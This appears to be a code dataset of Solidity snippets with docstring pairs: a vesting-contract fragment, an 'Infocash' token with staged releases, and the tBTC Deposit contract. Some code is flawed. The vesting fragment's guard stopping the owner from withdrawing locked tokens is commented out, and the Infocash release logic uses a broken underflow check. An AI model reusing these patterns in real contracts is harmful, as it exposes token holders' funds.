token.safeTransfer(to, amount); emit TokensUnlocked(to, amount); } else { // require(amount <= calculateWeiPerSecond(to).mul((block.timestamp.sub(mostRecentUnlockTimestamp[to]))), "Token amount not available for unlock right now, please try lesser amount."); uint256 total = alreadyWithdrawn[to].add(balances[to]); uint256 vested = total.mul(block.timestamp.sub(cliffEdge)).div(releaseEdge.sub(cliffEdge)); uint256 avail = vested - alreadyWithdrawn[to]; require(amount <= avail, "Token amount not available for unlock right now, please try lesser amount."); alreadyWithdrawn[to] = alreadyWithdrawn[to].add(amount); balances[to] = balances[to].sub(amount); // mostRecentUnlockTimestamp[to] = block.timestamp; token.safeTransfer(to, amount); emit TokensUnlocked(to, amount); } } /// @dev Transfer accidentally locked ERC20 tokens. /// @param token - ERC20 token address. /// @param amount of ERC20 tokens to remove. function transferAccidentallyLockedTokens(IERC20 token, uint256 amount) public onlyOwner noReentrant { require(address(token) != address(0), "Token address can not be zero"); // This function can not access the official timelocked tokens; just other random ERC20 tokens that may have been accidently sent here // require(token != erc20Contract, "Token address can not be ERC20 address which was passed into the constructor"); // Transfer the amount of the specified ERC20 tokens, to the owner of this contract token.safeTransfer(owner, amount); } }
Allows the contract owner to allocate official ERC20 tokens to multiple future recipient in bulk. recipients, an array of addresses of the many recipient. amounts to allocate to each of the many recipient. The amount deposited must be greater than the netReleasePeriod or the wei per second will be negative i.e. minimum wei per secon is 1 mostRecentUnlockTimestamp[recipients[i]] = cliffEdge;
function bulkDepositTokens(address[] calldata recipients, uint256[] calldata amounts) external onlyOwner timestampIsSet incomingDepositsStillAllowed { require(recipients.length == amounts.length, "The recipients and amounts arrays must be the same size in length"); for(uint256 i = 0; i < recipients.length; i++) { require(recipients[i] != address(0), "ERC20: transfer to the zero address"); require(amounts[i] >= (releaseEdge.sub(cliffEdge)), "Amount deposited must be greater than netReleasePeriod"); balances[recipients[i]] = balances[recipients[i]].add(amounts[i]); emit AllocationPerformed(recipients[i], amounts[i]); } }
15,797,561
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function toUINT112(uint256 a) internal constant returns(uint112) { assert(uint112(a) == a); return uint112(a); } function toUINT120(uint256 a) internal constant returns(uint120) { assert(uint120(a) == a); return uint120(a); } function toUINT128(uint256 a) internal constant returns(uint128) { assert(uint128(a) == a); return uint128(a); } function percent(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = (b*a/100) ; assert(c <= a); return c; } } contract Owned { address public owner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _newOwner) onlyOwner { owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; struct Account { uint256 balances; uint256 rawTokens; uint32 lastMintedTimestamp; } // Balances for each account mapping(address => Account) accounts; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[msg.sender].balances); // SafeMath.sub will throw if there is not enough balance. accounts[msg.sender].balances = accounts[msg.sender].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return accounts[_owner].balances; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[_from].balances); require(_value <= allowed[_from][msg.sender]); accounts[_from].balances = accounts[_from].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Infocash is StandardToken, Owned { string public constant name = "Infocash"; uint8 public constant decimals = 8; string public constant symbol = "ICC"; bool public canClaimToken = false; uint256 public constant maxSupply = 86000000*10**uint256(decimals); uint256 public constant dateInit=1514073600 ; uint256 public constant dateICO=dateInit + 30 days; uint256 public constant dateIT=dateICO + 365 days; uint256 public constant dateMarketing=dateIT + 365 days; uint256 public constant dateEco=dateMarketing + 365 days; uint256 public constant dateManager=dateEco + 365 days; uint256 public constant dateAdmin=dateManager + 365 days; enum Stage { NotCreated, ICO, IT, Marketing, Eco, MgmtSystem, Admin, Finalized } // packed to 256bit to save gas usage. struct Supplies { // uint128's max value is about 3e38. // it's enough to present amount of tokens uint256 total; uint256 rawTokens; } //the stage for releasing Tokens struct StageRelease { Stage stage; uint256 rawTokens; uint256 dateRelease; } Supplies supplies; StageRelease public stageICO=StageRelease(Stage.ICO, maxSupply.percent(35), dateICO); StageRelease public stageIT=StageRelease(Stage.IT, maxSupply.percent(18), dateIT); StageRelease public stageMarketing=StageRelease(Stage.Marketing, maxSupply.percent(18), dateMarketing); StageRelease public stageEco=StageRelease(Stage.Eco, maxSupply.percent(18), dateEco); StageRelease public stageMgmtSystem=StageRelease(Stage.MgmtSystem, maxSupply.percent(9), dateManager); StageRelease public stageAdmin=StageRelease(Stage.Admin, maxSupply.percent(2), dateAdmin); // Send back ether function () { revert(); } //getter totalSupply function totalSupply() public constant returns (uint256 total) { return supplies.total; } function mintToken(address _owner, uint256 _amount, bool _isRaw) onlyOwner internal { require(_amount.add(supplies.total)<=maxSupply); if (_isRaw) { accounts[_owner].rawTokens=_amount.add(accounts[_owner].rawTokens); supplies.rawTokens=_amount.add(supplies.rawTokens); } else { accounts[_owner].balances=_amount.add(accounts[_owner].balances); } supplies.total=_amount.add(supplies.total); Transfer(0, _owner, _amount); } function transferRaw(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[msg.sender].rawTokens); // SafeMath.sub will throw if there is not enough balance. accounts[msg.sender].rawTokens = accounts[msg.sender].rawTokens.sub(_value); accounts[_to].rawTokens = accounts[_to].rawTokens.add(_value); Transfer(msg.sender, _to, _value); return true; } function setClaimToken(bool approve) onlyOwner public returns (bool) { canClaimToken=true; return canClaimToken; } function claimToken(address _owner) public returns (bool amount) { require(accounts[_owner].rawTokens!=0); require(canClaimToken); uint256 amountToken = accounts[_owner].rawTokens; accounts[_owner].rawTokens = 0; accounts[_owner].balances = amountToken + accounts[_owner].balances; return true; } function balanceOfRaws(address _owner) public constant returns (uint256 balance) { return accounts[_owner].rawTokens; } function blockTime() constant returns (uint32) { return uint32(block.timestamp); } function stage() constant returns (Stage) { if(blockTime()<=dateInit) { return Stage.NotCreated; } if(blockTime()<=dateICO) { return Stage.ICO; } if(blockTime()<=dateIT) { return Stage.IT; } if(blockTime()<=dateMarketing) { return Stage.Marketing; } if(blockTime()<=dateEco) { return Stage.Eco; } if(blockTime()<=dateManager) { return Stage.MgmtSystem; } if(blockTime()<=dateAdmin) { return Stage.Admin; } return Stage.Finalized; } function releaseStage (uint256 amount, StageRelease storage stageRelease, bool isRaw) internal returns (uint256) { if(stageRelease.rawTokens>0) { int256 remain=int256(stageRelease.rawTokens - amount); if(remain<0) amount=stageRelease.rawTokens; stageRelease.rawTokens=stageRelease.rawTokens.sub(amount); mintToken(owner, amount, isRaw); return amount; } return 0; } function release(uint256 amount, bool isRaw) onlyOwner public returns (uint256) { uint256 amountSum=0; if(stage()==Stage.NotCreated) { throw; } if(stage()==Stage.ICO) { releaseStage(amount, stageICO, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.IT) { releaseStage(amount, stageIT, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.Marketing) { releaseStage(amount, stageMarketing, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.Eco) { releaseStage(amount, stageEco, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.MgmtSystem) { releaseStage(amount, stageMgmtSystem, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.Admin ) { releaseStage(amount, stageAdmin, isRaw); amountSum=amountSum.add(amount); return amountSum; } if(stage()==Stage.Finalized) { owner=0; return 0; } return amountSum; } }
transfer token for a specified address _to The address to transfer to. _value The amount to be transferred./ SafeMath.sub will throw if there is not enough balance.
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= accounts[msg.sender].balances); accounts[msg.sender].balances = accounts[msg.sender].balances.sub(_value); accounts[_to].balances = accounts[_to].balances.add(_value); Transfer(msg.sender, _to, _value); return true; }
5,411,839
pragma solidity 0.5.17; import {DepositLiquidation} from "./DepositLiquidation.sol"; import {DepositUtils} from "./DepositUtils.sol"; import {DepositFunding} from "./DepositFunding.sol"; import {DepositRedemption} from "./DepositRedemption.sol"; import {DepositStates} from "./DepositStates.sol"; import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol"; import {IERC721} from "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol"; import {TBTCToken} from "../system/TBTCToken.sol"; import {FeeRebateToken} from "../system/FeeRebateToken.sol"; import "../system/DepositFactoryAuthority.sol"; // solium-disable function-order // Below, a few functions must be public to allow bytes memory parameters, but // their being so triggers errors because public functions should be grouped // below external functions. Since these would be external if it were possible, // we ignore the issue. /// @title tBTC Deposit /// @notice This is the main contract for tBTC. It is the state machine that /// (through various libraries) handles bitcoin funding, bitcoin-spv /// proofs, redemption, liquidation, and fraud logic. /// @dev This contract presents a public API that exposes the following /// libraries: /// /// - `DepositFunding` /// - `DepositLiquidaton` /// - `DepositRedemption`, /// - `DepositStates` /// - `DepositUtils` /// - `OutsourceDepositLogging` /// - `TBTCConstants` /// /// Where these libraries require deposit state, this contract's state /// variable `self` is used. `self` is a struct of type /// `DepositUtils.Deposit` that contains all aspects of the deposit state /// itself. contract Deposit is DepositFactoryAuthority { using DepositRedemption for DepositUtils.Deposit; using DepositFunding for DepositUtils.Deposit; using DepositLiquidation for DepositUtils.Deposit; using DepositUtils for DepositUtils.Deposit; using DepositStates for DepositUtils.Deposit; DepositUtils.Deposit self; /// @dev Deposit should only be _constructed_ once. New deposits are created /// using the `DepositFactory.createDeposit` method, and are clones of /// the constructed deposit. The factory will set the initial values /// for a new clone using `initializeDeposit`. constructor () public { // The constructed Deposit will never be used, so the deposit factory // address can be anything. Clones are updated as per above. initialize(address(0xdeadbeef)); } /// @notice Deposits do not accept arbitrary ETH. function () external payable { require(msg.data.length == 0, "Deposit contract was called with unknown function selector."); } //----------------------------- METADATA LOOKUP ------------------------------// /// @notice Get this deposit's BTC lot size in satoshis. /// @return uint64 lot size in satoshis. function lotSizeSatoshis() external view returns (uint64){ return self.lotSizeSatoshis; } /// @notice Get this deposit's lot size in TBTC. /// @dev This is the same as lotSizeSatoshis(), but is multiplied to scale /// to 18 decimal places. /// @return uint256 lot size in TBTC precision (max 18 decimal places). function lotSizeTbtc() external view returns (uint256){ return self.lotSizeTbtc(); } /// @notice Get the signer fee for this deposit, in TBTC. /// @dev This is the one-time fee required by the signers to perform the /// tasks needed to maintain a decentralized and trustless model for /// tBTC. It is a percentage of the deposit's lot size. /// @return Fee amount in TBTC. function signerFeeTbtc() external view returns (uint256) { return self.signerFeeTbtc(); } /// @notice Get the integer representing the current state. /// @dev We implement this because contracts don't handle foreign enums /// well. See `DepositStates` for more info on states. /// @return The 0-indexed state from the DepositStates enum. function currentState() external view returns (uint256) { return uint256(self.currentState); } /// @notice Check if the Deposit is in ACTIVE state. /// @return True if state is ACTIVE, false otherwise. function inActive() external view returns (bool) { return self.inActive(); } /// @notice Get the contract address of the BondedECDSAKeep associated with /// this Deposit. /// @dev The keep contract address is saved on Deposit initialization. /// @return Address of the Keep contract. function keepAddress() external view returns (address) { return self.keepAddress; } /// @notice Retrieve the remaining term of the deposit in seconds. /// @dev The value accuracy is not guaranteed since block.timestmap can be /// lightly manipulated by miners. /// @return The remaining term of the deposit in seconds. 0 if already at /// term. function remainingTerm() external view returns(uint256){ return self.remainingTerm(); } /// @notice Get the current collateralization level for this Deposit. /// @dev This value represents the percentage of the backing BTC value the /// signers currently must hold as bond. /// @return The current collateralization level for this deposit. function collateralizationPercentage() external view returns (uint256) { return self.collateralizationPercentage(); } /// @notice Get the initial collateralization level for this Deposit. /// @dev This value represents the percentage of the backing BTC value /// the signers hold initially. It is set at creation time. /// @return The initial collateralization level for this deposit. function initialCollateralizedPercent() external view returns (uint16) { return self.initialCollateralizedPercent; } /// @notice Get the undercollateralization level for this Deposit. /// @dev This collateralization level is semi-critical. If the /// collateralization level falls below this percentage the Deposit can /// be courtesy-called by calling `notifyCourtesyCall`. This value /// represents the percentage of the backing BTC value the signers must /// hold as bond in order to not be undercollateralized. It is set at /// creation time. Note that the value for new deposits in TBTCSystem /// can be changed by governance, but the value for a particular /// deposit is static once the deposit is created. /// @return The undercollateralized level for this deposit. function undercollateralizedThresholdPercent() external view returns (uint16) { return self.undercollateralizedThresholdPercent; } /// @notice Get the severe undercollateralization level for this Deposit. /// @dev This collateralization level is critical. If the collateralization /// level falls below this percentage the Deposit can get liquidated. /// This value represents the percentage of the backing BTC value the /// signers must hold as bond in order to not be severely /// undercollateralized. It is set at creation time. Note that the /// value for new deposits in TBTCSystem can be changed by governance, /// but the value for a particular deposit is static once the deposit /// is created. /// @return The severely undercollateralized level for this deposit. function severelyUndercollateralizedThresholdPercent() external view returns (uint16) { return self.severelyUndercollateralizedThresholdPercent; } /// @notice Get the value of the funding UTXO. /// @dev This call will revert if the deposit is not in a state where the /// UTXO info should be valid. In particular, before funding proof is /// successfully submitted (i.e. in states START, /// AWAITING_SIGNER_SETUP, and AWAITING_BTC_FUNDING_PROOF), this value /// would not be valid. /// @return The value of the funding UTXO in satoshis. function utxoValue() external view returns (uint256){ require( ! self.inFunding(), "Deposit has not yet been funded and has no available funding info" ); return self.utxoValue(); } /// @notice Returns information associated with the funding UXTO. /// @dev This call will revert if the deposit is not in a state where the /// funding info should be valid. In particular, before funding proof /// is successfully submitted (i.e. in states START, /// AWAITING_SIGNER_SETUP, and AWAITING_BTC_FUNDING_PROOF), none of /// these values are set or valid. /// @return A tuple of (uxtoValueBytes, fundedAt, uxtoOutpoint). function fundingInfo() external view returns (bytes8 utxoValueBytes, uint256 fundedAt, bytes memory utxoOutpoint) { require( ! self.inFunding(), "Deposit has not yet been funded and has no available funding info" ); return (self.utxoValueBytes, self.fundedAt, self.utxoOutpoint); } /// @notice Calculates the amount of value at auction right now. /// @dev This call will revert if the deposit is not in a state where an /// auction is currently in progress. /// @return The value in wei that would be received in exchange for the /// deposit's lot size in TBTC if `purchaseSignerBondsAtAuction` /// were called at the time this function is called. function auctionValue() external view returns (uint256) { require( self.inSignerLiquidation(), "Deposit has no funds currently at auction" ); return self.auctionValue(); } /// @notice Get caller's ETH withdraw allowance. /// @dev Generally ETH is only available to withdraw after the deposit /// reaches a closed state. The amount reported is for the sender, and /// can be withdrawn using `withdrawFunds` if the deposit is in an end /// state. /// @return The withdraw allowance in wei. function withdrawableAmount() external view returns (uint256) { return self.getWithdrawableAmount(); } //------------------------------ FUNDING FLOW --------------------------------// /// @notice Notify the contract that signing group setup has timed out if /// retrieveSignerPubkey is not successfully called within the /// allotted time. /// @dev This is considered a signer fault, and the signers' bonds are used /// to make the deposit setup fee available for withdrawal by the TDT /// holder as a refund. The remainder of the signers' bonds are /// returned to the bonding pool and the signers are released from any /// further responsibilities. Reverts if the deposit is not awaiting /// signer setup or if the signing group formation timeout has not /// elapsed. function notifySignerSetupFailed() external { self.notifySignerSetupFailed(); } /// @notice Notify the contract that the ECDSA keep has generated a public /// key so the deposit contract can pull it in. /// @dev Stores the pubkey as 2 bytestrings, X and Y. Emits a /// RegisteredPubkey event with the two components. Reverts if the /// deposit is not awaiting signer setup, if the generated public key /// is unset or has incorrect length, or if the public key has a 0 /// X or Y value. function retrieveSignerPubkey() external { self.retrieveSignerPubkey(); } /// @notice Notify the contract that the funding phase of the deposit has /// timed out if `provideBTCFundingProof` is not successfully called /// within the allotted time. Any sent BTC is left under control of /// the signer group, and the funder can use `requestFunderAbort` to /// request an at-signer-discretion return of any BTC sent to a /// deposit that has been notified of a funding timeout. /// @dev This is considered a funder fault, and the funder's payment for /// opening the deposit is not refunded. Emits a SetupFailed event. /// Reverts if the funding timeout has not yet elapsed, or if the /// deposit is not currently awaiting funding proof. function notifyFundingTimedOut() external { self.notifyFundingTimedOut(); } /// @notice Requests a funder abort for a failed-funding deposit; that is, /// requests the return of a sent UTXO to _abortOutputScript. It /// imposes no requirements on the signing group. Signers should /// send their UTXO to the requested output script, but do so at /// their discretion and with no penalty for failing to do so. This /// can be used for example when a UTXO is sent that is the wrong /// size for the lot. /// @dev This is a self-admitted funder fault, and is only be callable by /// the TDT holder. This function emits the FunderAbortRequested event, /// but stores no additional state. /// @param _abortOutputScript The output script the funder wishes to request /// a return of their UTXO to. function requestFunderAbort(bytes memory _abortOutputScript) public { // not external to allow bytes memory parameters require( self.depositOwner() == msg.sender, "Only TDT holder can request funder abort" ); self.requestFunderAbort(_abortOutputScript); } /// @notice Anyone can provide a signature corresponding to the signers' /// public key to prove fraud during funding. Note that during /// funding no signature has been requested from the signers, so /// any signature is effectively fraud. /// @dev Calls out to the keep to verify if there was fraud. /// @param _v Signature recovery value. /// @param _r Signature R value. /// @param _s Signature S value. /// @param _signedDigest The digest signed by the signature (v,r,s) tuple. /// @param _preimage The sha256 preimage of the digest. function provideFundingECDSAFraudProof( uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes memory _preimage ) public { // not external to allow bytes memory parameters self.provideFundingECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage); } /// @notice Anyone may submit a funding proof to the deposit showing that /// a transaction was submitted and sufficiently confirmed on the /// Bitcoin chain transferring the deposit lot size's amount of BTC /// to the signer-controlled private key corresopnding to this /// deposit. This will move the deposit into an active state. /// @dev Takes a pre-parsed transaction and calculates values needed to /// verify funding. /// @param _txVersion Transaction version number (4-byte little-endian). /// @param _txInputVector All transaction inputs prepended by the number of /// inputs encoded as a VarInt, max 0xFC(252) inputs. /// @param _txOutputVector All transaction outputs prepended by the number /// of outputs encoded as a VarInt, max 0xFC(252) outputs. /// @param _txLocktime Final 4 bytes of the transaction. /// @param _fundingOutputIndex Index of funding output in _txOutputVector /// (0-indexed). /// @param _merkleProof The merkle proof of transaction inclusion in a /// block. /// @param _txIndexInBlock Transaction index in the block (0-indexed). /// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, /// lowest height first. function provideBTCFundingProof( bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, uint8 _fundingOutputIndex, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public { // not external to allow bytes memory parameters self.provideBTCFundingProof( _txVersion, _txInputVector, _txOutputVector, _txLocktime, _fundingOutputIndex, _merkleProof, _txIndexInBlock, _bitcoinHeaders ); } //---------------------------- LIQUIDATION FLOW ------------------------------// /// @notice Notify the contract that the signers are undercollateralized. /// @dev This call will revert if the signers are not in fact /// undercollateralized according to the price feed. After /// TBTCConstants.COURTESY_CALL_DURATION, courtesy call times out and /// regular abort liquidation occurs; see /// `notifyCourtesyTimedOut`. function notifyCourtesyCall() external { self.notifyCourtesyCall(); } /// @notice Notify the contract that the signers' bond value has recovered /// enough to be considered sufficiently collateralized. /// @dev This call will revert if collateral is still below the /// undercollateralized threshold according to the price feed. function exitCourtesyCall() external { self.exitCourtesyCall(); } /// @notice Notify the contract that the courtesy period has expired and the /// deposit should move into liquidation. /// @dev This call will revert if the courtesy call period has not in fact /// expired or is not in the courtesy call state. Courtesy call /// expiration is treated as an abort, and is handled by seizing signer /// bonds and putting them up for auction for the lot size amount in /// TBTC (see `purchaseSignerBondsAtAuction`). Emits a /// LiquidationStarted event. The caller is captured as the liquidation /// initiator, and is eligible for 50% of any bond left after the /// auction is completed. function notifyCourtesyCallExpired() external { self.notifyCourtesyCallExpired(); } /// @notice Notify the contract that the signers are undercollateralized. /// @dev Calls out to the system for oracle info. /// @dev This call will revert if the signers are not in fact severely /// undercollateralized according to the price feed. Severe /// undercollateralization is treated as an abort, and is handled by /// seizing signer bonds and putting them up for auction in exchange /// for the lot size amount in TBTC (see /// `purchaseSignerBondsAtAuction`). Emits a LiquidationStarted event. /// The caller is captured as the liquidation initiator, and is /// eligible for 50% of any bond left after the auction is completed. function notifyUndercollateralizedLiquidation() external { self.notifyUndercollateralizedLiquidation(); } /// @notice Anyone can provide a signature corresponding to the signers' /// public key that was not requested to prove fraud. A redemption /// request and a redemption fee increase are the only ways to /// request a signature from the signers. /// @dev This call will revert if the underlying keep cannot verify that /// there was fraud. Fraud is handled by seizing signer bonds and /// putting them up for auction in exchange for the lot size amount in /// TBTC (see `purchaseSignerBondsAtAuction`). Emits a /// LiquidationStarted event. The caller is captured as the liquidation /// initiator, and is eligible for any bond left after the auction is /// completed. /// @param _v Signature recovery value. /// @param _r Signature R value. /// @param _s Signature S value. /// @param _signedDigest The digest signed by the signature (v,r,s) tuple. /// @param _preimage The sha256 preimage of the digest. function provideECDSAFraudProof( uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes memory _preimage ) public { // not external to allow bytes memory parameters self.provideECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage); } /// @notice Notify the contract that the signers have failed to produce a /// signature for a redemption request in the allotted time. /// @dev This is considered an abort, and is punished by seizing signer /// bonds and putting them up for auction. Emits a LiquidationStarted /// event and a Liquidated event and sends the full signer bond to the /// redeemer. Reverts if the deposit is not currently awaiting a /// signature or if the allotted time has not yet elapsed. The caller /// is captured as the liquidation initiator, and is eligible for 50% /// of any bond left after the auction is completed. function notifyRedemptionSignatureTimedOut() external { self.notifyRedemptionSignatureTimedOut(); } /// @notice Notify the contract that the deposit has failed to receive a /// redemption proof in the allotted time. /// @dev This call will revert if the deposit is not currently awaiting a /// signature or if the allotted time has not yet elapsed. This is /// considered an abort, and is punished by seizing signer bonds and /// putting them up for auction for the lot size amount in TBTC (see /// `purchaseSignerBondsAtAuction`). Emits a LiquidationStarted event. /// The caller is captured as the liquidation initiator, and /// is eligible for 50% of any bond left after the auction is /// completed. function notifyRedemptionProofTimedOut() external { self.notifyRedemptionProofTimedOut(); } /// @notice Closes an auction and purchases the signer bonds by transferring /// the lot size in TBTC to the redeemer, if there is one, or to the /// TDT holder if not. Any bond amount that is not currently up for /// auction is either made available for the liquidation initiator /// to withdraw (for fraud) or split 50-50 between the initiator and /// the signers (for abort or collateralization issues). /// @dev The amount of ETH given for the transferred TBTC can be read using /// the `auctionValue` function; note, however, that the function's /// value is only static during the specific block it is queried, as it /// varies by block timestamp. function purchaseSignerBondsAtAuction() external { self.purchaseSignerBondsAtAuction(); } //---------------------------- REDEMPTION FLOW -------------------------------// /// @notice Get TBTC amount required for redemption by a specified /// _redeemer. /// @dev This call will revert if redemption is not possible by _redeemer. /// @param _redeemer The deposit redeemer whose TBTC requirement is being /// requested. /// @return The amount in TBTC needed by the `_redeemer` to redeem the /// deposit. function getRedemptionTbtcRequirement(address _redeemer) external view returns (uint256){ (uint256 tbtcPayment,,) = self.calculateRedemptionTbtcAmounts(_redeemer, false); return tbtcPayment; } /// @notice Get TBTC amount required for redemption assuming _redeemer /// is this deposit's owner (TDT holder). /// @param _redeemer The assumed owner of the deposit's TDT . /// @return The amount in TBTC needed to redeem the deposit. function getOwnerRedemptionTbtcRequirement(address _redeemer) external view returns (uint256){ (uint256 tbtcPayment,,) = self.calculateRedemptionTbtcAmounts(_redeemer, true); return tbtcPayment; } /// @notice Requests redemption of this deposit, meaning the transmission, /// by the signers, of the deposit's UTXO to the specified Bitocin /// output script. Requires approving the deposit to spend the /// amount of TBTC needed to redeem. /// @dev The amount of TBTC needed to redeem can be looked up using the /// `getRedemptionTbtcRequirement` or `getOwnerRedemptionTbtcRequirement` /// functions. /// @param _outputValueBytes The 8-byte little-endian output size. The /// difference between this value and the lot size of the deposit /// will be paid as a fee to the Bitcoin miners when the signed /// transaction is broadcast. /// @param _redeemerOutputScript The redeemer's length-prefixed output /// script. function requestRedemption( bytes8 _outputValueBytes, bytes memory _redeemerOutputScript ) public { // not external to allow bytes memory parameters self.requestRedemption(_outputValueBytes, _redeemerOutputScript); } /// @notice Anyone may provide a withdrawal signature if it was requested. /// @dev The signers will be penalized if this function is not called /// correctly within `TBTCConstants.REDEMPTION_SIGNATURE_TIMEOUT` /// seconds of a redemption request or fee increase being received. /// @param _v Signature recovery value. /// @param _r Signature R value. /// @param _s Signature S value. Should be in the low half of secp256k1 /// curve's order. function provideRedemptionSignature( uint8 _v, bytes32 _r, bytes32 _s ) external { self.provideRedemptionSignature(_v, _r, _s); } /// @notice Anyone may request a signature for a transaction with an /// increased Bitcoin transaction fee. /// @dev This call will revert if the fee is already at its maximum, or if /// the new requested fee is not a multiple of the initial requested /// fee. Transaction fees can only be bumped by the amount of the /// initial requested fee. Calling this sends the deposit back to /// the `AWAITING_WITHDRAWAL_SIGNATURE` state and requires the signers /// to `provideRedemptionSignature` for the new output value in a /// timely fashion. /// @param _previousOutputValueBytes The previous output's value. /// @param _newOutputValueBytes The new output's value. function increaseRedemptionFee( bytes8 _previousOutputValueBytes, bytes8 _newOutputValueBytes ) external { self.increaseRedemptionFee(_previousOutputValueBytes, _newOutputValueBytes); } /// @notice Anyone may submit a redemption proof to the deposit showing that /// a transaction was submitted and sufficiently confirmed on the /// Bitcoin chain transferring the deposit lot size's amount of BTC /// from the signer-controlled private key corresponding to this /// deposit to the requested redemption output script. This will /// move the deposit into a redeemed state. /// @dev Takes a pre-parsed transaction and calculates values needed to /// verify funding. Signers can have their bonds seized if this is not /// called within `TBTCConstants.REDEMPTION_PROOF_TIMEOUT` seconds of /// a redemption signature being provided. /// @param _txVersion Transaction version number (4-byte little-endian). /// @param _txInputVector All transaction inputs prepended by the number of /// inputs encoded as a VarInt, max 0xFC(252) inputs. /// @param _txOutputVector All transaction outputs prepended by the number /// of outputs encoded as a VarInt, max 0xFC(252) outputs. /// @param _txLocktime Final 4 bytes of the transaction. /// @param _merkleProof The merkle proof of transaction inclusion in a /// block. /// @param _txIndexInBlock Transaction index in the block (0-indexed). /// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, /// lowest height first. function provideRedemptionProof( bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public { // not external to allow bytes memory parameters self.provideRedemptionProof( _txVersion, _txInputVector, _txOutputVector, _txLocktime, _merkleProof, _txIndexInBlock, _bitcoinHeaders ); } //--------------------------- MUTATING HELPERS -------------------------------// /// @notice This function can only be called by the deposit factory; use /// `DepositFactory.createDeposit` to create a new deposit. /// @dev Initializes a new deposit clone with the base state for the /// deposit. /// @param _tbtcSystem 